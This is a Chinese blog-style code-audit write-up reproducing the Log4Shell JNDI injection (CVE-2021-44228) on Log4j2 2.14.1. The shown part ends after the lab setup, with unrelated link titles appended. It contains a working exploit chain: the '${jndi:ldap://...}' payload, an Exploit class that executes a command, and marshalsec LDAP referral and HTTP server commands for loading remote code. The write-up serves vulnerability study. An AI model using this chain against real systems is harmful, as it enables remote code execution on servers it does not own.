当前位置: 首页 > news >正文

代码审计 | Log4j2 —— CVE-2021-44228 JNDI 注入与递归解析的完整链路分析

代码审计 | Log4j2 —— CVE-2021-44228 JNDI 注入与递归解析的完整链路分析

目录

  • 环境搭建

  • 漏洞复现

    • 编写测试代码

    • 构造恶意 class 文件

    • 启动 LDAP 转发器

    • 请求流程

    • 使用 JNDI 工具一键利用

  • 代码审计

    • payload 入口追踪

    • MessagePatternConverter:关键转折点

    • substitute:变量解析核心

    • resolveVariable:触发入口

    • Interpolator:协议分发

  • 触发条件与常见入口

  • WAF 绕过原理

  • 常见绕过 payload

  • 补丁分析

  • 总结


环境搭建

  • JDK:jdk8u65

  • Log4j2:2.14.1

pom.xml依赖:

<dependencies>  <dependency>    <groupId>org.apache.logging.log4j</groupId>    <artifactId>log4j-core</artifactId>    <version>2.14.1</version>  </dependency>  <dependency>    <groupId>org.apache.logging.log4j</groupId>    <artifactId>log4j-api</artifactId>    <version>2.14.1</version>  </dependency> </dependencies>

添加好依赖之后效果如下:

然后通过 Maven 下载源码,方便后面调试:


漏洞复现

编写测试代码

import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; ​ public class Log4jTest {    private static final Logger logger = LogManager.getLogger(Log4jTest.class); ​    public static void main(String[] args) {        // 高版本 JDK(如 8u121+)默认禁止远程对象加载,调试时需手动开启        // System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");        // System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); ​        // 模拟用户输入的恶意字符串        String payload = "${jndi:ldap://127.0.0.1:1389/Exploit}"; ​        // 触发漏洞        logger.error("用户输入数据: {}", payload);   } }

构造恶意 class 文件

Exploit.java

import java.io.IOException; ​ public class Exploit {    static {        try {            Runtime.getRuntime().exec("calc");       } catch (IOException e) {            throw new RuntimeException(e);       }   } }

执行javac Exploit.java编译成 class 文件,然后在 class 文件所在目录启动一个简单的 HTTP 服务:

python -m http.server 5566

启动 LDAP 转发器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.16.250.1:5566/#Exploit" 1389

参数说明:

  • -cp:指定类路径(classpath)

  • marshalsec.jndi.LDAPRefServer:启动LDAP 转发器(还有marshalsec.jndi.RMIRefServer可以启动RMI 转发器

  • "http://172.16.250.1:5566/#Exploit":远程恶意类的下载地址(带引用锚点)

    • #Exploit#后的部分在 LDAP 协议中会被解析为引用的classFactory名称,受害者最终会请求/Exploit.class文件,不用#不能正常启动(规范写法)

  • 1389:LDAP 服务监听的本地端口

http://www.jsqmd.com/news/610337/

相关文章:

  • 2026年地坪修补厂家权威名录:防火地坪漆/厂房高强度空鼓灌浆料/固化地坪染色剂/固化地坪龟裂纹修复剂/选择指南 - 优质品牌商家
  • 使用Alpine配置WSL ssh门户内
  • 2026年MBA辅导值不值得报:笔试EMBA培训、笔试EMBA辅导、笔试MEM培训、笔试MEM辅导、管理类联考培训选择指南 - 优质品牌商家
  • Figma+Cursor联动实战:5分钟搞定AI设计稿生成(含最新manifest导入避坑指南)
  • FreakStudio捎
  • 第7章 序列凸近似(SCA)与迭代优化
  • 智能农业四情监测系统
  • 张量并行(Tensor Parallelism)全面深度解析
  • .NET 9容器化避坑清单,12个导致K8s滚动更新失败的隐藏陷阱及修复代码
  • OpenClaw跨平台同步:Qwen3-14b_int4_awq实现多设备任务接力
  • 打开PCCAD(AutoCAD2013-2017版本)即死机;AutoCAD2018含以上版本,则PCCAD打开正常
  • 开源项目 Agentic OS 实战指南:手把手教你从 ANOLISA 源码安装
  • JAVA多线程并发编程:并发容器与线程协作实战
  • 【实战 03】本地小模型真的能跑 Text2SQL 吗?Qwen2.5-7B 这种“平替”方案的实际表现
  • Windows下OpenClaw安装详解:Qwen3-14b_int4_awq模型接入与调试
  • 融合 PSO 的改进鲸鱼优化算法(PSO‑ImWOA)无人机三维航迹规划研究(Python代码实现)
  • 别再被CVX报错劝退了!手把手教你用inv_pos和rel_entr函数搞定MATLAB凸优化
  • 为什么你的C# 13主构造函数反而变慢了?揭秘字段初始化顺序、属性注入与依赖解析的致命时序冲突
  • ARM与x86架构差异及32/64位开发实践
  • Servlet 服务器 HTTP 响应
  • OpenClaw隐私保护技巧:Qwen3.5-9B-AWQ-4bit本地处理敏感证件照
  • 2026Q2上海企业投资香港审批流程全解析及服务商选型指南:国际海牙认证、大使馆公证认证代办、学历证明海牙认证选择指南 - 优质品牌商家
  • 逆向思维破解滑块验证码:当YOLOv5遇上双缺口与JS混淆
  • Mojo+Python混合编程避坑手册:5个致命安装错误及对应修复命令(附官方源码验证)
  • 高阻态原理与应用:数字电路的隐身术
  • 从原理到实战:拆解OpenCV的inpaint函数,手把手教你用Python‘无痕’去除视频字幕
  • STM32时钟系统解析与启动配置实践
  • Token 烧钱?OpenClaw 这几个配置让我省了一半开销胖
  • 2026年Q2红砂岩厂家技术参数与服务能力深度解析 - 优质品牌商家
  • 律所主任如何高效监控所里几百个案子的进度